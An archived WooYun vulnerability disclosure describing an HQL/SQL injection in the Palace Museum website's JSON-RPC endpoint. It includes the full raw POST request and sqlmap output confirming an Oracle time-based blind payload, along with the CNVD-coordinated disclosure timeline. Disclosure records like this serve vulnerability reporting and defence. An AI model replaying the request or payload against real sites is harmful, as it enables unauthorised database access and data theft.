乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-06-03: 细节已通知厂商并且等待厂商处理中 2015-06-05: 厂商已经确认,细节仅向厂商公开 2015-06-15: 细节向核心白帽子及相关领域专家公开 2015-06-25: 细节向普通白帽子公开 2015-07-05: 细节向实习白帽子公开 2015-07-20: 细节向公众公开
刚听见新闻说 故宫博物院 竟然要实名制售票 本屌丝立马就不爽了 尼玛 现在干什么都要实名 可是你们能保护好我们的个人隐私吗?于是就有了本次对故宫博物院官网的一次注入测试
本次进行的是SQL POST注入 查询语句 竟然写在了 Post 数据里···程序猿也是奇葩POST数据包:
POST /cc/JSON-RPC HTTP/1.1Host: www.dpm.org.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: text/plain; charset=UTF-8Referer: http://www.dpm.org.cn/files/member/register/register.htmlContent-Length: 236Cookie: JSESSIONID=870DA26CDCB42C7464D8186DF4E7BBAC; vjuids=2c05bfa87.14db6d9ac11.0.c3d5aa744f1f5; vjlast=1433291828.1433291828.30; language=zh-cn; accessHis=/shtml/400/@/122224.html$\u201c\u955c\u9274\u662d\u660e\u2014\u2014\u6545\u5bab\u5178\u85cf\u94dc\u955c\u5c55\u201d\u5f00\u5e55$/files/image/Y2015/05/20/img65908[126PX].jpg#/shtml/400/@/122073.html$\u6545\u5bab\u535a\u7269\u9662\u535a\u58eb\u540e\u79d1\u7814\u5de5\u4f5c\u7ad92015\u5e74\u535a\u58eb\u540e\u62db\u8058\u7b80\u7ae0$; registerPrev=http://www.dpm.org.cnX-Forwarded-For: 8.8.8.8'Connection: keep-alivePragma: no-cacheCache-Control: no-cache{"id": 7, "method": "BH.handle", "params": [[{"map": {"psMap": {"map": {"hql": "FROM dao.hb.CeUser AS user WHERE user.userid='wooyun'", "method": "C"}, "javaClass": "java.util.HashMap"}, "SN": null}, "javaClass": "java.util.HashMap"}]]}
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: JSON #7* ((custom) POST) Type: AND/OR time-based blind Title: Oracle AND time-based blind Payload: {"id": 7, "method": "BH.handle", "params": [[{"map": {"psMap": {"map": {"hql": "FROM dao.hb.CeUser AS user WHERE user.userid='wooyun' AND 7600=DBMS_PIPE.RECEIVE_MESSAGE(CHR(87)||CHR(88)||CHR(90)||CHR(87),5)", "method": "C"}, "javaClass": "java.util.HashMap"}, "SN": null}, "javaClass": "java.util.HashMap"}]]}---[08:53:56] [INFO] the back-end DBMS is Oracleweb server operating system: Windowsweb application technology: JSP, Apache 2.2.4back-end DBMS: Oracle
本来想查查会影响多少用户 结果查不到数据库 查询了几次 出现了几个不同库的表 但是 库名却不知道···所以具体影响多少用户暂时不知道
由于不清楚库名 就没继续深入了···
危害等级:中
漏洞Rank:10
确认时间:2015-06-05 17:46
CNVD确认并复现所述情况,已经转由CNCERT向国家文物局通报,由其后续协调网站管理部门处置.
暂无